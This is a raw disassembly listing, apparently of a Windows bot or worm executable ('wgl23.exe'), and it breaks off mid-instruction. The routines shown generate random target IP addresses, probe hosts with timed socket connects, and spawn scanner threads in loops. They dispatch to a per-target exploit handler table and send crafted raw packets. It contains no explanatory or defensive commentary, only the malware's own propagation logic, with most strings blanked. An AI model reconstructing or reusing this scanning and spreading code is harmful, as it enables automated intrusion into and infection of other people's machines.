======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C0EE(int,char *Str,int,int) sub_40C0EE proc near ; CODE XREF: sub_401CC7+240Ep Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B9D6 test eax, eax pop ecx jle short loc_40C12A mov eax, [ebp+arg_C] push dword_4E4380[eax*8] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_44972C ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40C13D ; --------------------------------------------------------------------------- loc_40C12A: ; CODE XREF: sub_40C0EE+13j lea eax, [ebp+Dest] push offset asc_449748 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_40C13D: ; CODE XREF: sub_40C0EE+3Aj push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 18h leave retn sub_40C0EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C165(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_40C165 proc near ; CODE XREF: sub_40CBA1+4Fp var_210 = dword ptr -210h Source = byte ptr -204h var_4 = byte ptr -4 Format = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C637 shl eax, 6 xor ebx, ebx cmp dword_449254[eax], ebx jz loc_40C637 push 5 call sub_40B9D6 test eax, eax pop ecx jnz loc_40C3EC mov eax, dword_440078 push edi mov esi, offset dword_4E643C push 104h push esi push ebx mov dword_4E664C, eax mov dword_4E6648, ebx call ds:dword_4F6378 ; GetModuleFileNameA mov edi, offset Str ; "wgl23.exe" push 103h ; Count push edi ; Source push offset byte_4E6540 ; Dest call _strncpy mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4E6438, eax mov eax, [ebp+arg_138] push 7Fh ; Count mov dword_4E66D0, eax jnz short loc_40C218 lea eax, [ebp+Format] push eax ; Source push offset byte_4E6650 ; Dest call _strncpy add esp, 0Ch mov dword_4E66D4, 1 jmp short loc_40C232 ; --------------------------------------------------------------------------- loc_40C218: ; CODE XREF: sub_40C165+94j lea eax, [ebp+arg_90] push eax ; Source push offset byte_4E6650 ; Dest call _strncpy add esp, 0Ch mov dword_4E66D4, ebx loc_40C232: ; CODE XREF: sub_40C165+B1j push esi lea eax, [ebp+Source] push dword_4E664C push offset asc_449768 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 5 ; int push eax ; Source call sub_40B78E add esp, 1Ch mov dword_4E6644, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E6438 push offset sub_41224F push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, dword_4E6644 imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40C2A0 loc_40C28E: ; CODE XREF: sub_40C165+139j cmp dword_4E66D8, ebx jnz short loc_40C2BB push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40C28E ; --------------------------------------------------------------------------- loc_40C2A0: ; CODE XREF: sub_40C165+127j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_44979C ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C2BB: ; CODE XREF: sub_40C165+12Fj lea eax, [ebp+Source] push eax call sub_415C77 mov eax, dword_4E3F28 mov esi, offset dword_4E66E4 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4E68F4, eax mov dword_4E68F0, ebx call ds:dword_4F6378 ; GetModuleFileNameA push 103h ; Count push edi ; Source push offset byte_4E67E8 ; Dest call _strncpy mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4E66E0, eax mov eax, [ebp+arg_138] pop edi mov dword_4E6978, eax push 7Fh ; Count jnz short loc_40C33C lea eax, [ebp+Format] push eax ; Source push offset byte_4E68F8 ; Dest call _strncpy add esp, 0Ch mov dword_4E697C, 1 jmp short loc_40C356 ; --------------------------------------------------------------------------- loc_40C33C: ; CODE XREF: sub_40C165+1B8j lea eax, [ebp+arg_90] push eax ; Source push offset byte_4E68F8 ; Dest call _strncpy add esp, 0Ch mov dword_4E697C, ebx loc_40C356: ; CODE XREF: sub_40C165+1D5j push esi lea eax, [ebp+Source] push dword_4E68F4 push offset asc_4497D0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 4 ; int push eax ; Source call sub_40B78E add esp, 1Ch mov dword_4E68EC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E66E0 push offset sub_40F43A push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, dword_4E68EC imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40C3C4 loc_40C3B2: ; CODE XREF: sub_40C165+25Dj cmp dword_4E6980, ebx jnz short loc_40C3DF push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40C3B2 ; --------------------------------------------------------------------------- loc_40C3C4: ; CODE XREF: sub_40C165+24Bj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_449804 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C3DF: ; CODE XREF: sub_40C165+253j lea eax, [ebp+Source] push eax call sub_415C77 pop ecx loc_40C3EC: ; CODE XREF: sub_40C165+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_44925C[ecx], ebx jz loc_40C515 push 7 call sub_40B9D6 test eax, eax pop ecx jnz loc_40C50F mov eax, dword_4E6F94 cmp [ebp+arg_90], bl mov dword_4E63A4, eax mov eax, [ebp+arg_110] mov dword_4E6398, eax mov eax, [ebp+arg_138] mov dword_4E63A0, ebx mov dword_4E6428, eax push 7Fh ; Count jnz short loc_40C460 lea eax, [ebp+Format] push eax ; Source push offset byte_4E63A8 ; Dest call _strncpy add esp, 0Ch mov dword_4E642C, 1 jmp short loc_40C47A ; --------------------------------------------------------------------------- loc_40C460: ; CODE XREF: sub_40C165+2DCj lea eax, [ebp+arg_90] push eax ; Source push offset byte_4E63A8 ; Dest call _strncpy add esp, 0Ch mov dword_4E642C, ebx loc_40C47A: ; CODE XREF: sub_40C165+2F9j push dword_4E63A4 lea eax, [ebp+Source] push offset asc_449838 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 7 ; int push eax ; Source call sub_40B78E add esp, 18h mov dword_4E639C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E6398 push offset sub_40F198 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, dword_4E639C imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40C4E7 loc_40C4D5: ; CODE XREF: sub_40C165+380j cmp dword_4E6430, ebx jnz short loc_40C502 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40C4D5 ; --------------------------------------------------------------------------- loc_40C4E7: ; CODE XREF: sub_40C165+36Ej call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_449868 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C502: ; CODE XREF: sub_40C165+376j lea eax, [ebp+Source] push eax call sub_415C77 pop ecx loc_40C50F: ; CODE XREF: sub_40C165+2A8j mov eax, [ebp+arg_130] loc_40C515: ; CODE XREF: sub_40C165+298j shl eax, 6 cmp dword_449258[eax], ebx jz loc_40C637 push 3 call sub_40B9D6 test eax, eax pop ecx jnz loc_40C637 mov esi, offset byte_4E6C14 push 104h push esi push ebx call ds:dword_4F6378 ; GetModuleFileNameA push 5Ch ; Ch push esi ; Str call _strrchr pop ecx cmp eax, ebx pop ecx jz short loc_40C556 mov [eax], bl loc_40C556: ; CODE XREF: sub_40C165+3EDj mov eax, dword_44007C mov dword_4E6D2C, ebx mov dword_4E6D18, eax lea eax, [ebp+Format] push eax ; Format push offset byte_4E698C ; Dest call _sprintf mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4E6988, eax mov ecx, [ebp+arg_138] push esi push dword_4E6D18 mov dword_4E6D24, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4E6D28, ecx call sub_40AFA9 pop ecx push eax lea eax, [ebp+Source] push offset asc_4498A0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 3 ; int push eax ; Source call sub_40B78E add esp, 20h mov dword_4E6D20, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E6988 push offset sub_40FB88 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, dword_4E6D20 imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40C60F loc_40C5FD: ; CODE XREF: sub_40C165+4A8j cmp dword_4E6D34, ebx jnz short loc_40C62A push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40C5FD ; --------------------------------------------------------------------------- loc_40C60F: ; CODE XREF: sub_40C165+496j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_4498DC ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C62A: ; CODE XREF: sub_40C165+49Ej lea eax, [ebp+Source] push eax call sub_415C77 pop ecx loc_40C637: ; CODE XREF: sub_40C165+14j ; sub_40C165+25j ... pop esi pop ebx leave retn sub_40C165 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C63B(int Dst) sub_40C63B proc near ; CODE XREF: sub_40C989:loc_40C9FAp Dst = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+Dst] push esi push 4 ; Size lea esi, dword_4E4380[eax*8] lea eax, [ebp+Dst] push esi ; Src push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call dword_4E4148 ; htonl inc eax push eax mov [ebp+Dst], eax call dword_4E421C ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src push esi ; Dst call _memcpy mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C63B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C683(char *Src,int) sub_40C683 proc near ; CODE XREF: sub_40C989+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+Src] ; Str mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call _strlen cmp eax, 0Fh pop ecx jbe short loc_40C6AB xor eax, eax jmp short loc_40C71C ; --------------------------------------------------------------------------- loc_40C6AB: ; CODE XREF: sub_40C683+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push [ebp+Src] ; Src call _sscanf add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C6D8 call _rand mov [ebp+var_C], eax loc_40C6D8: ; CODE XREF: sub_40C683+4Bj cmp [ebp+var_8], esi jnz short loc_40C6E5 call _rand mov [ebp+var_8], eax loc_40C6E5: ; CODE XREF: sub_40C683+58j cmp [ebp+var_4], esi jnz short loc_40C6F2 call _rand mov [ebp+var_4], eax loc_40C6F2: ; CODE XREF: sub_40C683+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C6FE call _rand loc_40C6FE: ; CODE XREF: sub_40C683+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4E4380[ecx*8], eax loc_40C71C: ; CODE XREF: sub_40C683+26j pop esi leave retn sub_40C683 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C71F proc near ; CODE XREF: sub_40BF39+59p ; sub_40C989+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4E42A0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C748 xor eax, eax jmp short loc_40C7B7 ; --------------------------------------------------------------------------- loc_40C748: ; CODE XREF: sub_40C71F+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4E4220 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4E42BC ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4E41C8 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4E4208 ; select push esi mov edi, eax call dword_4E42B8 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40C7B7: ; CODE XREF: sub_40C71F+27j pop edi pop esi pop ebx leave retn sub_40C71F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10110h call __alloca_probe push ebx push esi push edi mov edi, 2649h push edi call dword_4E4220 ; htons push dword ptr [ebp+10h] mov [ebp-28h], ax call dword_4E4220 ; htons mov [ebp-26h], ax call _rand xor ebx, ebx push 200h mov [ebp-24h], eax mov [ebp-20h], ebx mov [ebp-1Ch], bx mov [ebp-0Ch], bx mov word ptr [ebp-1Ah], 5 mov [ebp-18h], bx mov word ptr [ebp-16h], 1 mov [ebp-14h], bx mov [ebp-12h], bx mov [ebp-10h], bx mov [ebp-0Eh], bx call dword_4E4220 ; htons mov esi, [ebp+0Ch] mov [ebp-0Ah], ax mov eax, [ebp+8] push 24h mov [ebp-8], bx mov [ebp-6], bx mov [ebp-58h], eax mov [ebp-54h], esi mov [ebp-50h], bl mov byte ptr [ebp-4Fh], 6 call dword_4E4220 ; htons mov [ebp-4Eh], ax lea eax, [ebp-28h] push 24h push eax lea eax, [ebp-4Ch] push eax call _memcpy lea eax, [ebp-58h] push 20h push eax call sub_40B002 mov [ebp-8], ax push 10h lea eax, [ebp-38h] push ebx push eax call _memset add esp, 20h mov word ptr [ebp-38h], 2 push dword ptr [ebp+10h] call dword_4E4220 ; htons push 6 push 3 push 2 mov [ebp-36h], ax mov [ebp-34h], esi mov dword ptr [ebp-4], 10h call dword_4E42A0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C8BB push offset aSocketOpenFail ; "socket open failed" jmp loc_40C97C ; --------------------------------------------------------------------------- loc_40C8BB: ; CODE XREF: .text:0040C8AFj push dword ptr [ebp-4] lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-28h] push 24h push eax push esi call dword_4E4284 ; sendto cmp eax, 14h mov [ebp+10h], eax jz short loc_40C904 call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp-0D8h] push dword ptr [ebp+10h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push eax call _sprintf lea eax, [ebp-0D8h] push eax call sub_415C77 add esp, 14h jmp short loc_40C94D ; --------------------------------------------------------------------------- loc_40C904: ; CODE XREF: .text:0040C8D6j push 10038h lea eax, [ebp-10110h] push ebx push eax call _memset add esp, 0Ch loc_40C919: ; CODE XREF: .text:0040C940j cmp [ebp-100FAh], di jz short loc_40C956 lea eax, [ebp-4] push eax lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-10110h] push 10038h push eax push esi call dword_4E41F8 ; recvfrom test eax, eax jge short loc_40C919 push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_415C77 pop ecx loc_40C94D: ; CODE XREF: .text:0040C902j push esi call dword_4E42B8 ; closesocket jmp short loc_40C982 ; --------------------------------------------------------------------------- loc_40C956: ; CODE XREF: .text:0040C920j push esi call dword_4E42B8 ; closesocket cmp word ptr [ebp-100EAh], 1 jnz short loc_40C977 push offset aSocketOpen_ ; "Socket open." call sub_415C77 pop ecx push 1 pop eax jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C977: ; CODE XREF: .text:0040C965j push offset aSocketClosed_ ; "Socket closed." loc_40C97C: ; CODE XREF: .text:0040C8B6j call sub_415C77 pop ecx loc_40C982: ; CODE XREF: .text:0040C954j xor eax, eax loc_40C984: ; CODE XREF: .text:0040C975j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C989 proc near ; DATA XREF: sub_40CBA1+13Bo var_2A8 = dword ptr -2A8h Dest = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h Src = byte ptr -150h var_140 = byte ptr -140h Str = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+Src] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand mov ebx, esi pop ecx imul ebx, 234h loc_40C9D0: ; CODE XREF: sub_40C989+204j mov eax, dword_45712C[ebx] cmp dword_4E4384[eax*8], 0 jz loc_40CB92 cmp [ebp+var_10], 0 push eax ; Dst jz short loc_40C9FA lea eax, [ebp+Src] push eax ; Src call sub_40C683 pop ecx jmp short loc_40C9FF ; --------------------------------------------------------------------------- loc_40C9FA: ; CODE XREF: sub_40C989+60j call sub_40C63B loc_40C9FF: ; CODE XREF: sub_40C989+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_45712C[ebx] push [ebp+var_3C] push edi call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_449994 ; "-" push eax ; Dest call _sprintf add esp, 18h lea eax, [ebp+Dest] push eax ; Format lea eax, dword_456F28[ebx] push eax ; Dest call _sprintf push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C71F add esp, 14h cmp eax, 1 jnz loc_40CB82 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40CAD6 push offset dword_4E6380 call ds:dword_4F63DC ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_4499CC ; "-" push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40CAB8 cmp [ebp+Str], 0 push 1 ; int push [ebp+var_18] ; int lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Str] jnz short loc_40CAAC lea eax, [ebp+var_140] loc_40CAAC: ; CODE XREF: sub_40C989+11Bj push eax ; Str push [ebp+var_40] ; int call sub_409D6C add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C989+100j lea eax, [ebp+Dest] push eax call sub_415C77 mov [esp+2A8h+var_2A8], offset dword_4E6380 call ds:dword_4F63D8 ; RtlLeaveCriticalSection jmp loc_40CB82 ; --------------------------------------------------------------------------- loc_40CAD6: ; CODE XREF: sub_40C989+D0j push edi call dword_4E42AC ; inet_ntoa push eax ; Format lea eax, [ebp+var_208] push eax ; Dest call _sprintf mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax ; Format lea eax, [ebp+var_178] push eax ; Dest call _sprintf cmp [ebp+Str], 0 pop ecx pop ecx lea eax, [ebp+Str] jnz short loc_40CB1B lea eax, [ebp+var_140] loc_40CB1B: ; CODE XREF: sub_40C989+18Aj push eax ; Format lea eax, [ebp+var_1F8] push eax ; Dest call _sprintf mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_44924C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40CB82: ; CODE XREF: sub_40C989+C6j ; sub_40C989+148j push 7D0h call ds:dword_4F6380 ; Sleep jmp loc_40C9D0 ; --------------------------------------------------------------------------- loc_40CB92: ; CODE XREF: sub_40C989+55j push esi call sub_40BAAA pop ecx push 0 call ds:dword_4F63D4 ; ExitThread sub_40C989 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CBA1 proc near ; DATA XREF: sub_401CC7+1F44o ; sub_401CC7+5DAAo var_1DC = dword ptr -1DCh Source = byte ptr -1CCh var_14C = byte ptr -14Ch Str = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4E4260 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4E4380[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40C165 push 0Bh call sub_40B9D6 add esp, 150h cmp eax, ebx jnz short loc_40CC6F mov esi, offset dword_4E6380 push esi call ds:dword_4F63E4 ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4F63E0 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40CC6F lea eax, [ebp+Source] push offset asc_4499F4 ; "-" push eax ; Dest call _sprintf xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40CC59 push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_409D6C add esp, 14h loc_40CC59: ; CODE XREF: sub_40CBA1+99j lea eax, [ebp+Source] push eax call sub_415C77 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40CC6F: ; CODE XREF: sub_40CBA1+63j ; sub_40CBA1+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_4F6380 mov edi, ebx mov dword_4E4384[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40CD3C loc_40CC8D: ; CODE XREF: sub_40CBA1+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+Source] push offset asc_449A28 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 0Bh ; int push eax ; Source call sub_40B78E mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_45712C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C989 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40CD07 loc_40CCFC: ; CODE XREF: sub_40CBA1+164j cmp [ebp+var_4], ebx jnz short loc_40CD2E push 1Eh call esi ; Sleep jmp short loc_40CCFC ; --------------------------------------------------------------------------- loc_40CD07: ; CODE XREF: sub_40CBA1+159j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_449A5C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_415C77 add esp, 10h loc_40CD2E: ; CODE XREF: sub_40CBA1+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40CC8D loc_40CD3C: ; CODE XREF: sub_40CBA1+E6j cmp [ebp+var_30], ebx jz loc_40CDE6 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_40CD51: ; CODE XREF: sub_40CBA1+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4E4380[eax*8] push eax call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_449A94 ; "-" push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40CD9F push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_409D6C add esp, 14h loc_40CD9F: ; CODE XREF: sub_40CBA1+1DFj lea eax, [ebp+Source] push eax call sub_415C77 mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_4E4384[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B9D6 cmp eax, 1 pop ecx jnz short loc_40CDD6 push offset dword_4E6380 call ds:dword_4F63E4 ; RtlDeleteCriticalSection loc_40CDD6: ; CODE XREF: sub_40CBA1+228j push [ebp+var_2C] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_40CDE6: ; CODE XREF: sub_40CBA1+19Ej ; sub_40CBA1+25Dj mov eax, [ebp+var_2C] cmp dword_4E4384[eax*8], 1 jnz loc_40CD51 push 7D0h call esi ; Sleep jmp short loc_40CDE6 sub_40CBA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE00 proc near ; DATA XREF: sub_40CECD+7Bo ; sub_40CFBE+7Bo var_BC = dword ptr -0BCh Str = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_38] call dword_4E4220 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4E42A0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40CEBE lea eax, [ebp+Dst] push 10h push eax push esi call dword_4E41C8 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_457134[ecx], esi jz short loc_40CEBE push [ebp+var_38] push [ebp+var_28] call dword_4E42AC ; inet_ntoa push eax mov edi, offset byte_4E6D44 push offset asc_449AD4 ; "-" push edi ; Dest call _sprintf push 0 ; int lea eax, [ebp+Str] push [ebp+var_20] ; int push edi ; int push eax ; Str push [ebp+var_BC] ; int call sub_409D6C push edi call sub_415C77 add esp, 28h loc_40CEBE: ; CODE XREF: sub_40CE00+5Dj ; sub_40CE00+7Ej push esi call dword_4E42B8 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40CE00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; int __cdecl sub_40CECD(int Dst) sub_40CECD proc near ; DATA XREF: sub_401CC7+6190o Dest = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h Src = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 Dst = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+Dst] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, ds:dword_4F6380 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40CEFB: ; CODE XREF: sub_40CECD+ECj push [ebp+var_30] push [ebp+Src] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_449AFC ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push 1FFh ; Count push eax ; Source mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_456F28 push eax ; Dest call _strncpy add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40CE00 push 